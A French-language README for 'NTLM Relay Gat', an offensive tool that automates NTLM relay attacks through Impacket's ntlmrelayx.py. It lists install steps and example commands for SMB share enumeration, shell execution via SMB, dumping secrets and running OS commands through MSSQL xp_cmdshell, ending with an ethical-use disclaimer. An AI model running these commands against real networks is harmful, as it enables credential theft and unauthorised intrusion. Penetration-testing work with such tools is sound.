
Automatise l'exploitation de relais NTLM à l'aide de ntlmrelayx.py pour l'énumération de partages SMB, l'exécution de shell, le dump de secrets, et l'exécution de commandes MSSQL via des sessions multi-threadées.

NTLM Relay Gat est un outil puissant conçu pour automatiser l'exploitation des relais NTLM à l'aide de ntlmrelayx.py de la suite d'outils Impacket. En exploitant les capacités de ntlmrelayx.py, NTLM Relay Gat simplifie le processus d'exploitation des vulnérabilités de relais NTLM, offrant une gamme de fonctionnalités allant de l'énumération des partages SMB à l'exécution de commandes sur les bases de données MSSQL.
Avant de commencer, assurez-vous d'avoir satisfait aux exigences suivantes :
proxychains correctement configuré avec le port de relais SOCKS de ntlmrelayxPour installer NTLM Relay Gat, suivez ces étapes :
Assurez-vous que Python 3.6 ou supérieur est installé sur votre système.
Clonez le dépôt NTLM Relay Gat :
git clone https://github.com/ad0nis/ntlm_relay_gat.git
cd ntlm_relay_gat
pip install -r requirements.txt
NTLM Relay Gat est maintenant installé et prêt à être utilisé.
Pour utiliser NTLM Relay Gat, assurez-vous d'avoir des sessions relayées dans la sortie de la commande socks de ntlmrelayx.py et que vous avez configuré proxychains pour utiliser le proxy de ntlmrelayx.py, puis exécutez le script avec les options souhaitées. Voici quelques exemples d'exécution de NTLM Relay Gat :
# List available SMB shares using 10 threads
python ntlm_relay_gat.py --smb-shares -t 10
# Execute a shell via SMB
python ntlm_relay_gat.py --smb-shell --shell-path /path/to/shell
# Dump secrets from the target
python ntlm_relay_gat.py --dump-secrets
# List available MSSQL databases
python ntlm_relay_gat.py --mssql-dbs
# Execute an operating system command via xp_cmdshell
python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'
NTLM Relay Gat est destiné uniquement à des fins éducatives et de tests de pénétration éthiques. L'utilisation de NTLM Relay Gat pour attaquer des cibles sans consentement mutuel préalable est illégale. Les développeurs de NTLM Relay Gat déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.